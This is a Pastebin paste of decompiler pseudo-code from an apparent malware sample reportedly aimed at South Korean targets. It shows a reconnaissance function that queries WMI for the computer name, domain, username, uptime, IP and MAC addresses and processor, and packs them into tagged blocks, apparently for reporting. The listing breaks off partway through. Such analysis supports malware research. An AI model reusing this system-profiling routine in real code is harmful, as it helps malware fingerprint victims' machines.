Advertisement
Guest User

Pseudo code unknown malware target south korean

a guest
Jul 23rd, 2019
743
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /* r2dec pseudo code output */
  2. /* 3de17dfcfe6e2cfaaf2bff3f2eb6d1e31151fd126985f6c5a5a14242396379ce\Memsys32.bin\Memsys32.exe @ 0x429283 */
  3. #include <stdint.h>
  4.  
  5. int32_t Recon (void) {
  6.     int32_t var_204h;
  7.     int32_t var_1ech;
  8.     int32_t var_1d4h;
  9.     int32_t var_1bch;
  10.     int32_t var_1a4h;
  11.     int32_t var_189h;
  12.     int32_t var_188h;
  13.     int32_t var_16eh;
  14.     int32_t var_16dh;
  15.     int32_t var_16ch;
  16.     int32_t var_16bh;
  17.     int32_t var_16ah;
  18.     int32_t var_169h;
  19.     int32_t var_168h;
  20.     int32_t var_150h;
  21.     int32_t var_138h;
  22.     int32_t var_120h;
  23.     int32_t var_108h;
  24.     int32_t var_f0h;
  25.     int32_t var_d8h;
  26.     int32_t var_d4h;
  27.     REFCLSID rclsid;
  28.     DWORD dwCapabilities;
  29.     int32_t var_c8h;
  30.     VARIANTARG ** pvargDest;
  31.     int32_t var_c0h;
  32.     int32_t var_a8h;
  33.     uint32_t var_98h;
  34.     int32_t var_90h;
  35.     int32_t var_78h;
  36.     uint32_t var_68h;
  37.     int32_t var_60h;
  38.     uint32_t var_48h;
  39.     int32_t var_44h;
  40.     int32_t var_40h;
  41.     int32_t var_3ch;
  42.     VARIANTARG * pvargSrc;
  43.     VARIANTARG * pvarg;
  44.     uint32_t var_14h;
  45.     int32_t var_4h;
  46.     eax = 0x4a1a7c;
  47.     fcn_004626ad (0x1f8);
  48.     esi = ecx;
  49.     var_d8h = ecx;
  50.     var_40h = esi;
  51.     edi = 0;
  52.     var_40h = esi;
  53.     ebx = edi;
  54.     ecx = &var_3ch;
  55.     var_d4h = ebx;
  56.     fcn_004035a5 ();
  57.     ecx = &var_3ch;
  58.     fcn_00407016 (edi);
  59.     eax = ole32_dll_CoInitializeEx (edi, edi);
  60.     if (eax >= 0) {
  61.         goto label_4;
  62.     }
  63.     ecx = esi;
  64.     fcn_00403582 (0x4b9c38);
  65.     var_4h = 1;
  66.     do {
  67. label_0:
  68.         ecx = &var_3ch;
  69.         fcn_004035f9 ();
  70.         eax = esi;
  71.         goto label_5;
  72. label_4:
  73.         eax = ole32_dll_CoInitializeSecurity (edi, 0xffffffffffffffff, edi, edi, edi, 3, edi, edi, edi);
  74.         edi = *(sym.imp.ole32.dll_CoUninitialize);
  75.         if (eax < 0) {
  76.             void (*edi)() ();
  77.         }
  78.         rclsid = 0;
  79.         eax = ole32_dll_CoCreateInstance (0x4ae850, 0, 1, 0x4ae860, rclsid);
  80.         if (eax >= 0) {
  81.             goto label_6;
  82.         }
  83.         void (*edi)() ();
  84.         ecx = esi;
  85.         fcn_00403582 (0x4b9c38);
  86.         var_4h = 2;
  87.     } while (1);
  88. label_6:
  89.     eax = rclsid;
  90.     edx = &dwCapabilities;
  91.     dwCapabilities = 0;
  92.     edx = 0;
  93.     ecx = *(eax);
  94.     eax = ecx + 0xc (eax, "ROOT\\CIMV2", edx, edx, edx, edx, edx, edx, edx);
  95.     if (eax < 0) {
  96.         eax = rclsid;
  97.         ecx = *(eax);
  98.         ecx + 8 (eax);
  99.         void (*edi)() ();
  100.         ecx = esi;
  101.         eax = fcn_00403582 (0x4b9c38);
  102.         var_4h = 3;
  103.         goto label_0;
  104.     }
  105.     eax = 0;
  106.     eax = ole32_dll_CoSetProxyBlanket (dwCapabilities, 0xa, eax, eax, 3, 3, eax, eax);
  107.     eax = dwCapabilities;
  108.     if (eax < 0) {
  109.         ecx = *(eax);
  110.         ecx + 8 (eax);
  111.         eax = rclsid;
  112.         ecx = *(eax);
  113.         ecx + 8 (eax);
  114.         void (*edi)() ();
  115.         ecx = esi;
  116.         eax = fcn_00403582 (0x4b9c38);
  117.         var_4h = 4;
  118.         goto label_0;
  119.     }
  120.     var_c8h = 0;
  121.     edx = &var_c8h;
  122.     ecx = *(eax);
  123.     eax = ecx + 0x50 (eax, 0x4bb5cc, "SELECT * FROM Win32_OperatingSystem", 0x30, 0, edx);
  124.     if (eax < 0) {
  125.         eax = dwCapabilities;
  126.         ecx = *(eax);
  127.         ecx + 8 (eax);
  128.         eax = rclsid;
  129.         ecx = *(eax);
  130.         ecx + 8 (eax);
  131.         void (*edi)() ();
  132.         ecx = esi;
  133.         fcn_00403582 (0x4b9c38);
  134.         var_4h = 5;
  135.         goto label_0;
  136.     }
  137.     pvargDest = 0;
  138.     ecx = &var_60h;
  139.     var_14h = 0;
  140.     fcn_004035a5 ();
  141.     var_4h = 6;
  142.     ecx = var_c8h;
  143.     if (ecx == 0) {
  144.         goto label_7;
  145.     }
  146.     esi = 0;
  147.     do {
  148.         eax = *(ecx);
  149.         eax + 0x10 (ecx, 0xffffffffffffffff, 1, pvargDest, var_14h);
  150.         if (var_14h == 0) {
  151.             goto label_8;
  152.         }
  153.         eax = pvargDest;
  154.         edx = &pvargSrc;
  155.         ecx = *(eax);
  156.         ecx + 0x10 (eax, "LastBootUpTime", esi, edx, esi, esi);
  157.         eax = OLEAUT32_dll_VariantInit (pvarg);
  158.         edi = pvarg;
  159.         ecx = &var_1a4h;
  160.         esi = eax;
  161.         fcn_0040fffe ();
  162.         ecx = &var_1a4h;
  163.         var_4h = 7;
  164.         fcn_0040e969 ();
  165.         ecx = &var_1a4h;
  166.         fcn_0040e9a1 (edi, esi);
  167.         edx = &var_1a4h;
  168.         var_4h = 8;
  169.         ecx = &var_c0h;
  170.         eax = fcn_00418a2f ();
  171.         edx = eax;
  172.         var_4h = 9;
  173.         ecx = &var_90h;
  174.         eax = fcn_0041d2ac ();
  175.         ecx = &var_189h;
  176.         var_4h = 0xa;
  177.         esi = 0;
  178.         ecx = &var_78h;
  179.         fcn_00403826 (eax, esi, 0xe);
  180.         ecx = &var_60h;
  181.         fcn_00405f24 (var_78h);
  182.         ecx = &var_78h;
  183.         var_4h = 0xb;
  184.         fcn_004035f9 ();
  185.         ecx = &var_90h;
  186.         var_4h = 0xc;
  187.         fcn_004035f9 ();
  188.         ecx = &var_c0h;
  189.         var_4h = 0xd;
  190.         fcn_0040e93b ();
  191.         ecx = &var_1a4h;
  192.         var_4h = 0xe;
  193.         fcn_0040e93b ();
  194.         eax = &var_169h;
  195.         var_4h = 6;
  196.         edi = 2;
  197.         ecx = &var_90h;
  198.         fcn_00403826 (var_60h, 0xc, edi);
  199.         eax = &var_16eh;
  200.         var_4h = 0xf;
  201.         ecx = &var_c0h;
  202.         fcn_00403826 (var_60h, 0xa, edi);
  203.         eax = &var_16dh;
  204.         var_4h = 0x10;
  205.         ecx = &var_1a4h;
  206.         fcn_00403826 (var_60h, 8, edi);
  207.         eax = &var_16ch;
  208.         var_4h = 0x11;
  209.         ecx = &var_168h;
  210.         fcn_00403826 (var_60h, 6, edi);
  211.         eax = &var_16bh;
  212.         var_4h = 0x12;
  213.         ecx = &var_a8h;
  214.         fcn_00403826 (var_60h, 4, edi);
  215.         eax = &var_16ah;
  216.         var_4h = 0x13;
  217.         ecx = &var_78h;
  218.         fcn_00403826 (var_60h, esi, 4);
  219.         ebx |= 0x3f8000;
  220.         var_d4h = ebx;
  221.         edi = 0x4bc2b4;
  222.         var_4h = 0x14;
  223.         edx = &var_78h;
  224.         ecx = &var_f0h;
  225.         eax = fcn_0040bddd (edi);
  226.         ecx = &var_a8h;
  227.         var_4h = 0x15;
  228.         edx = eax;
  229.         ecx = &var_138h;
  230.         eax = fcn_0040be79 (ecx);
  231.         edx = eax;
  232.         ecx = &var_150h;
  233.         eax = fcn_0040bddd (0x16);
  234.         ecx = &var_168h;
  235.         var_4h = 0x17;
  236.         edx = eax;
  237.         ecx = &var_120h;
  238.         eax = fcn_0040be79 (ecx);
  239.         edx = eax;
  240.         ecx = &var_108h;
  241.         eax = fcn_0040bddd (0x18);
  242.         var_4h = 0x19;
  243.         ecx = &var_1a4h;
  244.         edx = eax;
  245.         ecx = &var_188h;
  246.         eax = fcn_0040be79 (ecx);
  247.         edi = 0x4bd880;
  248.         var_4h = 0x1a;
  249.         edx = eax;
  250.         ecx = &var_1bch;
  251.         eax = fcn_0040bddd (edi);
  252.         ecx = &var_c0h;
  253.         var_4h = 0x1b;
  254.         edx = eax;
  255.         ecx = &var_204h;
  256.         eax = fcn_0040be79 (ecx);
  257.         edx = eax;
  258.         ecx = &var_1ech;
  259.         eax = fcn_0040bddd (0x1c);
  260.         ecx = &var_90h;
  261.         var_4h = 0x1d;
  262.         edx = eax;
  263.         ecx = &var_1d4h;
  264.         eax = fcn_0040be79 (ecx);
  265.         ecx = &var_60h;
  266.         fcn_00405f24 (eax);
  267.         ecx = &var_1d4h;
  268.         var_4h = 0x1e;
  269.         fcn_004035f9 ();
  270.         ecx = &var_1ech;
  271.         var_4h = 0x1f;
  272.         fcn_004035f9 ();
  273.         ecx = &var_204h;
  274.         var_4h = 0x20;
  275.         fcn_004035f9 ();
  276.         ecx = &var_1bch;
  277.         var_4h = 0x21;
  278.         fcn_004035f9 ();
  279.         ecx = &var_188h;
  280.         var_4h = 0x22;
  281.         fcn_004035f9 ();
  282.         ecx = &var_108h;
  283.         var_4h = 0x23;
  284.         fcn_004035f9 ();
  285.         ecx = &var_120h;
  286.         var_4h = 0x24;
  287.         fcn_004035f9 ();
  288.         ecx = &var_150h;
  289.         var_4h = 0x25;
  290.         fcn_004035f9 ();
  291.         ecx = &var_138h;
  292.         var_4h = 0x26;
  293.         fcn_004035f9 ();
  294.         ecx = &var_f0h;
  295.         var_4h = 0x27;
  296.         fcn_004035f9 ();
  297.         ecx = &var_78h;
  298.         var_4h = 0x28;
  299.         fcn_004035f9 ();
  300.         ecx = &var_a8h;
  301.         var_4h = 0x29;
  302.         fcn_004035f9 ();
  303.         ecx = &var_168h;
  304.         var_4h = 0x2a;
  305.         fcn_004035f9 ();
  306.         ecx = &var_1a4h;
  307.         var_4h = 0x2b;
  308.         fcn_004035f9 ();
  309.         ecx = &var_c0h;
  310.         var_4h = 0x2c;
  311.         fcn_004035f9 ();
  312.         ecx = &var_90h;
  313.         var_4h = 0x2d;
  314.         fcn_004035f9 ();
  315.         eax = &pvargSrc;
  316.         var_4h = 6;
  317.         OLEAUT32_dll_VariantCopy (eax);
  318.         eax = pvargDest;
  319.         ecx = *(eax);
  320.         ecx + 8 (eax);
  321.         ecx = var_c8h;
  322.     } while (ecx != 0);
  323. label_8:
  324.     esi = var_d8h;
  325.     edi = *(sym.imp.ole32.dll_CoUninitialize);
  326. label_7:
  327.     eax = dwCapabilities;
  328.     ecx = *(eax);
  329.     eax = ecx + 0x50 (eax, 0x4bb5cc, "SELECT * FROM Win32_ComputerSystem", 0x30, 0, var_c8h);
  330.     if (eax < 0) {
  331.         eax = dwCapabilities;
  332.         ecx = *(eax);
  333.         ecx + 8 (eax);
  334.         eax = rclsid;
  335.         ecx = *(eax);
  336.         ecx + 8 (eax);
  337.         void (*edi)() ();
  338.         ecx = esi;
  339.         fcn_00403582 (0x4b9c38);
  340.         ecx = &var_60h;
  341.         var_4h = 0x2e;
  342.         fcn_004035f9 ();
  343.         var_4h = 0x2f;
  344.         goto label_0;
  345.     }
  346.     edi = 0;
  347.     pvargDest = edi;
  348.     var_14h = edi;
  349.     while (ecx != 0) {
  350.         eax = *(ecx);
  351.         eax + 0x10 (ecx, 0xffffffffffffffff, 1, pvargDest, var_14h);
  352.         if (var_14h == 0) {
  353.             goto label_9;
  354.         }
  355.         eax = pvargDest;
  356.         edx = &pvargSrc;
  357.         ecx = *(eax);
  358.         ecx + 0x10 (eax, "Name", edi, edx, edi, edi);
  359.         eax = OLEAUT32_dll_VariantInit (pvarg);
  360.         edi = pvarg;
  361.         ecx = &var_1a4h;
  362.         esi = eax;
  363.         fcn_0040fffe ();
  364.         ecx = &var_1a4h;
  365.         var_4h = 0x30;
  366.         fcn_0040e969 ();
  367.         ecx = &var_1a4h;
  368.         fcn_0040e9a1 (edi, esi);
  369.         edx = &var_1a4h;
  370.         var_4h = 0x31;
  371.         ecx = &var_f0h;
  372.         eax = fcn_00418a2f ();
  373.         edx = eax;
  374.         var_4h = 0x32;
  375.         ecx = &var_78h;
  376.         fcn_0041d2ac ();
  377.         ecx = &var_f0h;
  378.         var_4h = 0x35;
  379.         fcn_0040e93b ();
  380.         ecx = &var_1a4h;
  381.         var_4h = 0x37;
  382.         fcn_0040e93b ();
  383.         esi = 0;
  384.         var_4h = 0x36;
  385.         eax = pvargDest;
  386.         edx = &pvargSrc;
  387.         ecx = *(eax);
  388.         ecx + 0x10 (eax, "Workgroup", esi, edx, esi, esi);
  389.         eax = OLEAUT32_dll_VariantInit (pvarg);
  390.         edi = pvarg;
  391.         ecx = &var_168h;
  392.         esi = eax;
  393.         fcn_0040fffe ();
  394.         ecx = &var_168h;
  395.         var_4h = 0x38;
  396.         fcn_0040e969 ();
  397.         ecx = &var_168h;
  398.         fcn_0040e9a1 (edi, esi);
  399.         edx = &var_168h;
  400.         var_4h = 0x39;
  401.         ecx = &var_138h;
  402.         eax = fcn_00418a2f ();
  403.         edx = eax;
  404.         var_4h = 0x3a;
  405.         ecx = &var_a8h;
  406.         fcn_0041d2ac ();
  407.         ecx = &var_138h;
  408.         var_4h = 0x3d;
  409.         fcn_0040e93b ();
  410.         ecx = &var_168h;
  411.         var_4h = 0x3f;
  412.         fcn_0040e93b ();
  413.         ecx = &var_3ch;
  414.         fcn_0040376a ("<block>", 0x3e);
  415.         ecx = &var_3ch;
  416.         fcn_0040376a ("<val1>PC Name</val1>", 0x14);
  417.         if (var_68h != 0) {
  418.             ecx = &var_188h;
  419.             fcn_004035b6 (var_78h);
  420.             var_4h = 0x40;
  421.             ebx |= 2;
  422.         } else {
  423.             ecx = &var_108h;
  424.             eax = fcn_00403582 (0x4bb80c);
  425.             var_4h = 0x41;
  426.             ebx |= 4;
  427.         }
  428.         esi = "<val2>";
  429.         var_d4h = ebx;
  430.         edx = esi;
  431.         ecx = &var_120h;
  432.         eax = fcn_00406f6e (eax);
  433.         var_4h = 0x42;
  434.         ecx = &var_150h;
  435.         edx = eax;
  436.         eax = fcn_0040bddd ("</val2>");
  437.         ecx = &var_3ch;
  438.         fcn_00403509 (0x43);
  439.         ecx = &var_150h;
  440.         var_4h = 0x44;
  441.         fcn_004035f9 ();
  442.         ecx = &var_120h;
  443.         var_4h = 0x45;
  444.         fcn_004035f9 ();
  445.         if ((bl & 4) != 0) {
  446.             ebx &= 0xfffffffb;
  447.             var_d4h = ebx;
  448.             ecx = &var_108h;
  449.             var_4h = 0x46;
  450.             fcn_004035f9 ();
  451.         }
  452.         var_4h = 0x3e;
  453.         if ((bl & 2) != 0) {
  454.             ebx &= 0xfffffffd;
  455.             var_d4h = ebx;
  456.             ecx = &var_188h;
  457.             var_4h = 0x47;
  458.             fcn_004035f9 ();
  459.             var_4h = 0x3e;
  460.         }
  461.         edi = "</block>";
  462.         ecx = &var_3ch;
  463.         fcn_0040376a (edi, 8);
  464.         ecx = &var_3ch;
  465.         fcn_0040376a ("<block>", 7);
  466.         ecx = &var_3ch;
  467.         fcn_0040376a ("<val1>PC Domain</val1>", 0x16);
  468.         if (var_98h != 0) {
  469.             ecx = &var_188h;
  470.             fcn_004035b6 (var_a8h);
  471.             var_4h = 0x48;
  472.             ebx |= 8;
  473.         } else {
  474.             ecx = &var_108h;
  475.             eax = fcn_00403582 (0x4bb80c);
  476.             var_4h = 0x49;
  477.             ebx |= 0x10;
  478.         }
  479.         edx = esi;
  480.         ecx = &var_120h;
  481.         eax = fcn_00406f6e (ebx);
  482.         var_4h = 0x4a;
  483.         ecx = &var_150h;
  484.         edx = eax;
  485.         eax = fcn_0040bddd ("</val2>");
  486.         ecx = &var_3ch;
  487.         fcn_00403509 (0x4b);
  488.         ecx = &var_150h;
  489.         var_4h = 0x4c;
  490.         fcn_004035f9 ();
  491.         ecx = &var_120h;
  492.         var_4h = 0x4d;
  493.         fcn_004035f9 ();
  494.         if ((bl & 0x10) != 0) {
  495.             ebx &= 0xffffffef;
  496.             var_d4h = ebx;
  497.             ecx = &var_108h;
  498.             var_4h = 0x4e;
  499.             fcn_004035f9 ();
  500.         }
  501.         var_4h = 0x3e;
  502.         if ((bl & 8) != 0) {
  503.             ebx &= 0xfffffff7;
  504.             var_d4h = ebx;
  505.             ecx = &var_188h;
  506.             var_4h = 0x4f;
  507.             fcn_004035f9 ();
  508.             var_4h = 0x3e;
  509.         }
  510.         ecx = &var_3ch;
  511.         fcn_0040376a (edi, 8);
  512.         ecx = &var_3ch;
  513.         fcn_0040376a ("<block>", 7);
  514.         ecx = &var_3ch;
  515.         fcn_0040376a ("<val1>Uptime</val1>", 0x13);
  516.         eax = fcn_004163ad ();
  517.         edi = 0;
  518.         eax = fcn_004627a0 (eax, edx, 0x3e8, edi);
  519.         ecx = &var_188h;
  520.         eax = fcn_004286cc (eax, edx);
  521.         edx = esi;
  522.         ecx = &var_108h;
  523.         eax = fcn_00406f6e (0x50);
  524.         edx = eax;
  525.         ecx = &var_120h;
  526.         eax = fcn_0040bddd (0x51);
  527.         ecx = &var_60h;
  528.         var_4h = 0x52;
  529.         ecx = eax;
  530.         eax = fcn_00403509 (ecx);
  531.         ecx = &var_90h;
  532.         fcn_0040352b (eax);
  533.         edx = &var_90h;
  534.         ecx = &var_150h;
  535.         eax = fcn_0040bddd (0x53);
  536.         ecx = &var_3ch;
  537.         fcn_00403509 (0x54);
  538.         ecx = &var_150h;
  539.         var_4h = 0x55;
  540.         fcn_004035f9 ();
  541.         ecx = &var_90h;
  542.         var_4h = 0x56;
  543.         fcn_004035f9 ();
  544.         ecx = &var_120h;
  545.         var_4h = 0x57;
  546.         fcn_004035f9 ();
  547.         ecx = &var_108h;
  548.         var_4h = 0x58;
  549.         fcn_004035f9 ();
  550.         ecx = &var_188h;
  551.         var_4h = 0x59;
  552.         fcn_004035f9 ();
  553.         ecx = &var_3ch;
  554.         fcn_0040376a ("</block>", 0x3e);
  555.         ecx = &var_3ch;
  556.         fcn_0040376a ("<block>", 7);
  557.         ecx = &var_3ch;
  558.         fcn_0040376a ("<val1>Username</val1>", 0x15);
  559.         ecx = &var_108h;
  560.         eax = fcn_0041d144 ();
  561.         edx = esi;
  562.         ecx = &var_120h;
  563.         eax = fcn_00406f6e (0x5a);
  564.         var_4h = 0x5b;
  565.         ecx = &var_150h;
  566.         edx = eax;
  567.         eax = fcn_0040bddd ("</val2>");
  568.         ecx = &var_3ch;
  569.         fcn_00403509 (0x5c);
  570.         ecx = &var_150h;
  571.         var_4h = 0x5d;
  572.         fcn_004035f9 ();
  573.         ecx = &var_120h;
  574.         var_4h = 0x5e;
  575.         fcn_004035f9 ();
  576.         ecx = &var_108h;
  577.         var_4h = 0x5f;
  578.         fcn_004035f9 ();
  579.         ecx = &var_3ch;
  580.         fcn_0040376a ("</block>", 0x3e);
  581.         OLEAUT32_dll_VariantCopy (pvargSrc);
  582.         eax = pvargDest;
  583.         ecx = *(eax);
  584.         ecx + 8 (eax);
  585.         ecx = &var_a8h;
  586.         var_4h = 0x60;
  587.         fcn_004035f9 ();
  588.         ecx = &var_78h;
  589.         var_4h = 0x61;
  590.         fcn_004035f9 ();
  591.         var_4h = 6;
  592.         ecx = var_c8h;
  593.     }
  594. label_9:
  595.     eax = dwCapabilities;
  596.     edx = &var_c8h;
  597.     ecx = *(eax);
  598.     eax = ecx + 0x50 (eax, 0x4bb5cc, "SELECT * FROM Win32_NetworkAdapterConfiguration WHERE IPEnabled = True", 0x30, edi);
  599.     if (eax < 0) {
  600.         eax = dwCapabilities;
  601.         ecx = *(eax);
  602.         ecx + 8 (eax);
  603.         eax = rclsid;
  604.         ecx = *(eax);
  605.         ecx + 8 (eax);
  606.         ole32_dll_CoUninitialize ();
  607.         ecx = var_d8h;
  608.         fcn_00403582 (0x4b9c38);
  609.         ecx = &var_60h;
  610.         var_4h = 0x62;
  611.         fcn_004035f9 ();
  612.         var_4h = 0x63;
  613. label_1:
  614.         ecx = &var_3ch;
  615.         fcn_004035f9 ();
  616.         goto label_10;
  617.     }
  618.     pvargDest = edi;
  619.     var_14h = edi;
  620.     while (ecx != 0) {
  621.         eax = *(ecx);
  622.         eax + 0x10 (ecx, 0xffffffffffffffff, 1, pvargDest, var_14h);
  623.         if (var_14h == 0) {
  624.             goto label_11;
  625.         }
  626.         eax = pvargDest;
  627.         edx = &pvargSrc;
  628.         ecx = *(eax);
  629.         ecx + 0x10 (eax, "IpAddress", edi, edx, edi, edi);
  630.         eax = pvarg;
  631.         ecx = &var_138h;
  632.         eax = *((eax + 0xc));
  633.         eax = fcn_0040ddad (*(eax));
  634.         edx = eax;
  635.         var_4h = 0x64;
  636.         ecx = &var_f0h;
  637.         eax = fcn_00418a2f ();
  638.         edx = eax;
  639.         var_4h = 0x65;
  640.         ecx = &var_a8h;
  641.         fcn_0041d2ac ();
  642.         ecx = &var_f0h;
  643.         var_4h = 0x68;
  644.         fcn_0040e93b ();
  645.         ecx = &var_138h;
  646.         var_4h = 0x6a;
  647.         fcn_0040e93b ();
  648.         edx = &pvargSrc;
  649.         eax = pvargDest;
  650.         ecx = *(eax);
  651.         ecx + 0x10 (eax, "MACAddress", 0x69, edx, edi);
  652.         eax = OLEAUT32_dll_VariantInit (pvarg);
  653.         edi = pvarg;
  654.         ecx = &var_168h;
  655.         esi = eax;
  656.         fcn_0040fffe ();
  657.         ecx = &var_168h;
  658.         var_4h = 0x6b;
  659.         fcn_0040e969 ();
  660.         ecx = &var_168h;
  661.         fcn_0040e9a1 (edi, esi);
  662.         edx = &var_168h;
  663.         var_4h = 0x6c;
  664.         ecx = &var_150h;
  665.         eax = fcn_00418a2f ();
  666.         edx = eax;
  667.         var_4h = 0x6d;
  668.         ecx = &var_78h;
  669.         fcn_0041d2ac ();
  670.         ecx = &var_150h;
  671.         var_4h = 0x70;
  672.         fcn_0040e93b ();
  673.         var_4h = 0x72;
  674.         ecx = &var_168h;
  675.         fcn_0040e93b ();
  676.         ecx = &var_3ch;
  677.         fcn_0040376a ("<block>", 0x71);
  678.         ecx = &var_3ch;
  679.         fcn_0040376a ("<val1>LAN IP</val1>", 0x13);
  680.         if (var_98h != 0) {
  681.             ecx = &var_1bch;
  682.             fcn_004035b6 (var_a8h);
  683.             var_4h = 0x73;
  684.             ebx |= 0x20;
  685.         } else {
  686.             ecx = &var_188h;
  687.             eax = fcn_00403582 (0x4bb80c);
  688.             var_4h = 0x74;
  689.             ebx |= 0x40;
  690.         }
  691.         esi = "<val2>";
  692.         var_d4h = ebx;
  693.         edx = esi;
  694.         ecx = &var_108h;
  695.         eax = fcn_00406f6e (eax);
  696.         var_4h = 0x75;
  697.         ecx = &var_120h;
  698.         edx = eax;
  699.         eax = fcn_0040bddd ("</val2>");
  700.         ecx = &var_3ch;
  701.         fcn_00403509 (0x76);
  702.         ecx = &var_120h;
  703.         var_4h = 0x77;
  704.         fcn_004035f9 ();
  705.         ecx = &var_108h;
  706.         var_4h = 0x78;
  707.         fcn_004035f9 ();
  708.         if ((bl & 0x40) != 0) {
  709.             ebx &= 0xffffffbf;
  710.             var_d4h = ebx;
  711.             ecx = &var_188h;
  712.             var_4h = 0x79;
  713.             fcn_004035f9 ();
  714.         }
  715.         var_4h = 0x71;
  716.         if ((bl & 0x20) != 0) {
  717.             ebx &= 0xffffffdf;
  718.             var_d4h = ebx;
  719.             ecx = &var_1bch;
  720.             var_4h = 0x7a;
  721.             fcn_004035f9 ();
  722.             var_4h = 0x71;
  723.         }
  724.         edi = "</block>";
  725.         ecx = &var_3ch;
  726.         fcn_0040376a (edi, 8);
  727.         ecx = &var_3ch;
  728.         fcn_0040376a ("<block>", 7);
  729.         ecx = &var_3ch;
  730.         fcn_0040376a ("<val1>MAC</val1>", 0x10);
  731.         if (var_68h != 0) {
  732.             ecx = &var_1bch;
  733.             fcn_004035b6 (var_78h);
  734.             var_4h = 0x7b;
  735.             ebx |= 0x80;
  736.         } else {
  737.             ecx = &var_188h;
  738.             eax = fcn_00403582 (0x4bb80c);
  739.             var_4h = 0x7c;
  740.             ebx |= 0x100;
  741.         }
  742.         edx = esi;
  743.         ecx = &var_108h;
  744.         eax = fcn_00406f6e (ebx);
  745.         var_4h = 0x7d;
  746.         ecx = &var_120h;
  747.         edx = eax;
  748.         eax = fcn_0040bddd ("</val2>");
  749.         ecx = &var_3ch;
  750.         fcn_00403509 (0x7e);
  751.         ecx = &var_120h;
  752.         var_4h = 0x7f;
  753.         fcn_004035f9 ();
  754.         ecx = &var_108h;
  755.         var_4h = 0x80;
  756.         fcn_004035f9 ();
  757.         if ((ebx & 0x100) != 0) {
  758.             ebx &= 0xfffffeff;
  759.             var_d4h = ebx;
  760.             ecx = &var_188h;
  761.             var_4h = 0x81;
  762.             fcn_004035f9 ();
  763.         }
  764.         var_4h = 0x71;
  765.         if (bl < 0) {
  766.             ebx &= 0xffffff7f;
  767.             var_d4h = ebx;
  768.             ecx = &var_1bch;
  769.             var_4h = 0x82;
  770.             fcn_004035f9 ();
  771.             var_4h = 0x71;
  772.         }
  773.         ecx = &var_3ch;
  774.         fcn_0040376a (edi, 8);
  775.         OLEAUT32_dll_VariantCopy (pvargSrc);
  776.         eax = pvargDest;
  777.         ecx = *(eax);
  778.         ecx + 8 (eax);
  779.         ecx = &var_78h;
  780.         var_4h = 0x83;
  781.         fcn_004035f9 ();
  782.         ecx = &var_a8h;
  783.         var_4h = 0x84;
  784.         fcn_004035f9 ();
  785.         var_4h = 6;
  786.         edi = 0;
  787.         ecx = var_c8h;
  788.     }
  789. label_11:
  790.     eax = dwCapabilities;
  791.     ecx = *(eax);
  792.     eax = ecx + 0x50 (eax, 0x4bb5cc, "Select * from Win32_Processor", 0x30, edi, var_c8h);
  793.     if (eax < 0) {
  794.         eax = dwCapabilities;
  795.         ecx = *(eax);
  796.         ecx + 8 (eax);
  797.         eax = rclsid;
  798.         ecx = *(eax);
  799.         ecx + 8 (eax);
  800.         ole32_dll_CoUninitialize ();
  801.         ecx = var_d8h;
  802.         fcn_00403582 (0x4b9c38);
  803.         ecx = &var_60h;
  804.         var_4h = 0x85;
  805.         fcn_004035f9 ();
  806.         var_4h = 0x86;
  807.         goto label_1;
  808.     }
  809.     pvargDest = edi;
  810.     var_14h = edi;
  811.     while (ecx != 0) {
  812.         eax = *(ecx);
  813.         eax + 0x10 (ecx, 0xffffffffffffffff, 1, pvargDest, var_14h);
  814.         if (var_14h == 0) {
  815.             goto label_12;
  816.         }
  817.         eax = pvargDest;
  818.         edx = &pvargSrc;
  819.         ecx = *(eax);
  820.         ecx + 0x10 (eax, "Name", edi, edx, edi, edi);
  821.         eax = OLEAUT32_dll_VariantInit (pvarg);
  822.         edi = pvarg;
  823.         ecx = &var_168h;
  824.         esi = eax;
  825.         fcn_0040fffe ();
  826.         ecx = &var_168h;
  827.         var_4h = 0x87;
  828.         fcn_0040e969 ();
  829.         ecx = &var_168h;
  830.         fcn_0040e9a1 (edi, esi);
  831.         edx = &var_168h;
  832.         var_4h = 0x88;
  833.         ecx = &var_f0h;
  834.         eax = fcn_00418a2f ();
  835.         edx = eax;
  836.         var_4h = 0x89;
  837.         ecx = &var_90h;
  838.         fcn_0041d2ac ();
  839.         ecx = &var_f0h;
  840.         var_4h = 0x8c;
  841.         fcn_0040e93b ();
  842.         ecx = &var_168h;
  843.         var_4h = 0x8e;
  844.         fcn_0040e93b ();
  845.         edi = 0;
  846.         var_4h = 0x8d;
  847.         eax = pvargDest;
  848.         edx = &pvargSrc;
  849.         ecx = *(eax);
  850.         ecx + 0x10 (eax, "MaxClockSpeed", edi, edx, edi, edi);
  851.         ecx = &var_3ch;
  852.         fcn_0040376a ("<block>", 7);
  853.         ecx = &var_3ch;
  854.         fcn_0040376a ("<val1>Processor</val1>", 0x16);
  855.         edx = &pvarg;
  856.         ecx = &var_188h;
  857.         eax = fcn_004121a6 ();
  858.         esi = eax;
  859.         eax = &var_90h;
  860.         var_4h = 0x8f;
  861.         edx = "<val2>";
  862.         ecx = &var_108h;
  863.         eax = fcn_0040f38b (eax);
  864.         var_4h = 0x90;
  865.         ecx = &var_120h;
  866.         edx = eax;
  867.         eax = fcn_0040bddd (" (max: ");
  868.         edx = eax;
  869.         ecx = &var_150h;
  870.         eax = fcn_0040be79 (0x91);
  871.         edx = eax;
  872.         ecx = &var_138h;
  873.         eax = fcn_0040bddd (0x92);
  874.         ecx = &var_3ch;
  875.         fcn_00403509 (0x93);
  876.         ecx = &var_138h;
  877.         var_4h = 0x94;
  878.         fcn_004035f9 ();
  879.         ecx = &var_150h;
  880.         var_4h = 0x95;
  881.         fcn_004035f9 ();
  882.         ecx = &var_120h;
  883.         var_4h = 0x96;
  884.         fcn_004035f9 ();
  885.         ecx = &var_108h;
  886.         var_4h = 0x97;
  887.         fcn_004035f9 ();
  888.         ecx = &var_188h;
  889.         var_4h = 0x98;
  890.         fcn_004035f9 ();
  891.         ecx = &var_3ch;
  892.         fcn_0040376a ("</block>", 0x8d);
  893.         OLEAUT32_dll_VariantCopy (pvargSrc);
  894.         eax = pvargDest;
  895.         ecx = *(eax);
  896.         ecx + 8 (eax);
  897.         ecx = &var_90h;
  898.         var_4h = 0x99;
  899.         fcn_004035f9 ();
  900.         var_4h = 6;
  901.         ecx = var_c8h;
  902.     }
  903. label_12:
  904.     eax = dwCapabilities;
  905.     edx = &var_c8h;
  906.     ecx = *(eax);
  907.     eax = ecx + 0x50 (eax, 0x4bb5cc, "Select * from Win32_Battery", 0x30, edi);
  908.     if (eax < 0) {
  909.         eax = dwCapabilities;
  910.         ecx = *(eax);
  911.         ecx + 8 (eax);
